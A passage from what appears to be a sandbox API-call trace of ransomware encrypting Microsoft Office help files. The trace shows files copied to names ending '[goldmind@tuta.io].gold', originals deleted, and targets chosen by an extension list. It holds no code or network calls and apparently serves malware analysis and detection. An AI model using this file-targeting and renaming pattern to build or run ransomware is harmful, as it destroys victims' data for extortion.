(lpString="VISIO_STD_COL.HXC") returned 17 [0108.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0108.013] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=641) returned 1 [0108.013] CloseHandle (hObject=0x188) returned 1 [0108.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxc")) returned 0x20 [0108.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxc.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0108.014] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.014] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxc.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0108.014] GetLastError () returned 0x0 [0108.014] ReadFile (in: hFile=0x188, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x281, lpOverlapped=0x0) returned 1 [0108.016] WriteFile (in: hFile=0x230, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x290, lpOverlapped=0x0) returned 1 [0108.017] ReadFile (in: hFile=0x188, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0108.017] WriteFile (in: hFile=0x230, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0108.017] SetEndOfFile (hFile=0x230) returned 1 [0108.017] CloseHandle (hObject=0x230) returned 1 [0108.017] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.017] SetEndOfFile (hFile=0x188) returned 1 [0108.019] CloseHandle (hObject=0x188) returned 1 [0108.019] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.019] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxc")) returned 1 [0108.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC") returned 65 [0108.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC") returned 65 [0108.020] lstrlenW (lpString=".doc") returned 4 [0108.020] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0108.020] lstrlenW (lpString=".docx") returned 5 [0108.020] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0108.020] lstrlenW (lpString=".pdf") returned 4 [0108.020] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0108.020] lstrlenW (lpString=".xls") returned 4 [0108.020] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0108.020] lstrlenW (lpString=".xlsx") returned 5 [0108.020] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0108.020] lstrlenW (lpString=".ppt") returned 4 [0108.020] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0108.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC") returned 65 [0108.020] lstrlenW (lpString=".zip") returned 4 [0108.020] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0108.020] lstrlenW (lpString=".rar") returned 4 [0108.020] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0108.020] lstrlenW (lpString=".bz2") returned 4 [0108.020] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0108.020] lstrlenW (lpString=".7z") returned 3 [0108.020] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0108.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC") returned 65 [0108.020] lstrlenW (lpString=".dbf") returned 4 [0108.020] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0108.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC") returned 65 [0108.020] lstrlenW (lpString=".1cd") returned 4 [0108.020] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0108.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC") returned 65 [0108.021] lstrlenW (lpString=".jpg") returned 4 [0108.021] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0108.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC") returned 65 [0108.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC") returned 65 [0108.021] lstrlenW (lpString=".doc") returned 4 [0108.021] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0108.021] lstrlenW (lpString=".docx") returned 5 [0108.021] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0108.021] lstrlenW (lpString=".pdf") returned 4 [0108.021] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0108.021] lstrlenW (lpString=".xls") returned 4 [0108.021] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0108.021] lstrlenW (lpString=".xlsx") returned 5 [0108.021] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0108.021] lstrlenW (lpString=".ppt") returned 4 [0108.021] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0108.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC") returned 65 [0108.021] lstrlenW (lpString=".zip") returned 4 [0108.021] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0108.021] lstrlenW (lpString=".rar") returned 4 [0108.021] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0108.021] lstrlenW (lpString=".bz2") returned 4 [0108.021] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0108.021] lstrlenW (lpString=".7z") returned 3 [0108.021] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0108.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC") returned 65 [0108.021] lstrlenW (lpString=".dbf") returned 4 [0108.021] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0108.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC") returned 65 [0108.021] lstrlenW (lpString=".1cd") returned 4 [0108.021] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0108.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC") returned 65 [0108.021] lstrlenW (lpString=".jpg") returned 4 [0108.021] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0108.021] lstrcmpiW (lpString1=".HXT", lpString2=".gold") returned 1 [0108.021] lstrlenW (lpString="VISIO_STD_COL.HXT") returned 17 [0108.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0108.022] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=209) returned 1 [0108.022] CloseHandle (hObject=0x188) returned 1 [0108.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxt")) returned 0x20 [0108.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxt.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0108.022] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.022] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxt.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0108.023] GetLastError () returned 0x0 [0108.023] ReadFile (in: hFile=0x188, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0xd1, lpOverlapped=0x0) returned 1 [0108.023] WriteFile (in: hFile=0x230, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0108.024] ReadFile (in: hFile=0x188, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0108.024] WriteFile (in: hFile=0x230, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0108.024] SetEndOfFile (hFile=0x230) returned 1 [0108.024] CloseHandle (hObject=0x230) returned 1 [0108.025] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.025] SetEndOfFile (hFile=0x188) returned 1 [0108.027] CloseHandle (hObject=0x188) returned 1 [0108.027] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.027] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxt")) returned 1 [0108.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT") returned 65 [0108.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT") returned 65 [0108.028] lstrlenW (lpString=".doc") returned 4 [0108.028] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0108.028] lstrlenW (lpString=".docx") returned 5 [0108.028] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0108.028] lstrlenW (lpString=".pdf") returned 4 [0108.028] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0108.028] lstrlenW (lpString=".xls") returned 4 [0108.028] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0108.028] lstrlenW (lpString=".xlsx") returned 5 [0108.028] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0108.028] lstrlenW (lpString=".ppt") returned 4 [0108.028] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0108.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT") returned 65 [0108.028] lstrlenW (lpString=".zip") returned 4 [0108.028] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0108.028] lstrlenW (lpString=".rar") returned 4 [0108.028] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0108.028] lstrlenW (lpString=".bz2") returned 4 [0108.028] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0108.028] lstrlenW (lpString=".7z") returned 3 [0108.028] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0108.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT") returned 65 [0108.028] lstrlenW (lpString=".dbf") returned 4 [0108.028] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0108.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT") returned 65 [0108.028] lstrlenW (lpString=".1cd") returned 4 [0108.028] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0108.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT") returned 65 [0108.028] lstrlenW (lpString=".jpg") returned 4 [0108.028] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0108.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT") returned 65 [0108.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT") returned 65 [0108.028] lstrlenW (lpString=".doc") returned 4 [0108.028] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0108.028] lstrlenW (lpString=".docx") returned 5 [0108.029] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0108.029] lstrlenW (lpString=".pdf") returned 4 [0108.029] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0108.029] lstrlenW (lpString=".xls") returned 4 [0108.029] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0108.029] lstrlenW (lpString=".xlsx") returned 5 [0108.029] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0108.029] lstrlenW (lpString=".ppt") returned 4 [0108.029] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0108.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT") returned 65 [0108.029] lstrlenW (lpString=".zip") returned 4 [0108.029] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0108.029] lstrlenW (lpString=".rar") returned 4 [0108.029] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0108.029] lstrlenW (lpString=".bz2") returned 4 [0108.029] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0108.029] lstrlenW (lpString=".7z") returned 3 [0108.029] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0108.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT") returned 65 [0108.029] lstrlenW (lpString=".dbf") returned 4 [0108.029] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0108.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT") returned 65 [0108.029] lstrlenW (lpString=".1cd") returned 4 [0108.029] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0108.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT") returned 65 [0108.029] lstrlenW (lpString=".jpg") returned 4 [0108.029] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0108.029] lstrcmpiW (lpString1=".HXK", lpString2=".gold") returned 1 [0108.029] lstrlenW (lpString="VISIO_STD_F_COL.HXK") returned 19 [0108.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0108.030] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=114) returned 1 [0108.030] CloseHandle (hObject=0x188) returned 1 [0108.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_f_col.hxk")) returned 0x20 [0108.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_f_col.hxk.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0108.030] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.030] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_f_col.hxk.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0108.031] GetLastError () returned 0x0 [0108.031] ReadFile (in: hFile=0x188, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x72, lpOverlapped=0x0) returned 1 [0108.032] WriteFile (in: hFile=0x230, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x80, lpOverlapped=0x0) returned 1 [0108.033] ReadFile (in: hFile=0x188, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0108.033] WriteFile (in: hFile=0x230, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0108.033] SetEndOfFile (hFile=0x230) returned 1 [0108.033] CloseHandle (hObject=0x230) returned 1 [0108.033] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.033] SetEndOfFile (hFile=0x188) returned 1 [0108.035] CloseHandle (hObject=0x188) returned 1 [0108.035] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.036] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_f_col.hxk")) returned 1 [0108.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK") returned 67 [0108.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK") returned 67 [0108.036] lstrlenW (lpString=".doc") returned 4 [0108.036] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0108.036] lstrlenW (lpString=".docx") returned 5 [0108.036] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0108.036] lstrlenW (lpString=".pdf") returned 4 [0108.036] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0108.036] lstrlenW (lpString=".xls") returned 4 [0108.036] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0108.036] lstrlenW (lpString=".xlsx") returned 5 [0108.036] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0108.036] lstrlenW (lpString=".ppt") returned 4 [0108.036] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0108.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK") returned 67 [0108.036] lstrlenW (lpString=".zip") returned 4 [0108.036] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0108.036] lstrlenW (lpString=".rar") returned 4 [0108.036] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0108.036] lstrlenW (lpString=".bz2") returned 4 [0108.037] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0108.037] lstrlenW (lpString=".7z") returned 3 [0108.037] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0108.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK") returned 67 [0108.037] lstrlenW (lpString=".dbf") returned 4 [0108.037] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0108.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK") returned 67 [0108.037] lstrlenW (lpString=".1cd") returned 4 [0108.037] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0108.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK") returned 67 [0108.037] lstrlenW (lpString=".jpg") returned 4 [0108.037] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0108.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK") returned 67 [0108.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK") returned 67 [0108.037] lstrlenW (lpString=".doc") returned 4 [0108.037] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0108.037] lstrlenW (lpString=".docx") returned 5 [0108.037] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0108.037] lstrlenW (lpString=".pdf") returned 4 [0108.037] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0108.037] lstrlenW (lpString=".xls") returned 4 [0108.037] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0108.037] lstrlenW (lpString=".xlsx") returned 5 [0108.037] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0108.037] lstrlenW (lpString=".ppt") returned 4 [0108.037] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0108.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK") returned 67 [0108.037] lstrlenW (lpString=".zip") returned 4 [0108.037] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0108.037] lstrlenW (lpString=".rar") returned 4 [0108.037] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0108.037] lstrlenW (lpString=".bz2") returned 4 [0108.037] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0108.037] lstrlenW (lpString=".7z") returned 3 [0108.037] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0108.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK") returned 67 [0108.037] lstrlenW (lpString=".dbf") returned 4 [0108.037] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0108.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK") returned 67 [0108.037] lstrlenW (lpString=".1cd") returned 4 [0108.037] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0108.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK") returned 67 [0108.037] lstrlenW (lpString=".jpg") returned 4 [0108.037] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0108.037] lstrcmpiW (lpString1=".HXK", lpString2=".gold") returned 1 [0108.037] lstrlenW (lpString="VISIO_STD_K_COL.HXK") returned 19 [0108.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0108.038] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=113) returned 1 [0108.038] CloseHandle (hObject=0x188) returned 1 [0108.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_k_col.hxk")) returned 0x20 [0108.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_k_col.hxk.id-9c354b42.[goldmind@tuta.io].gold")) returned 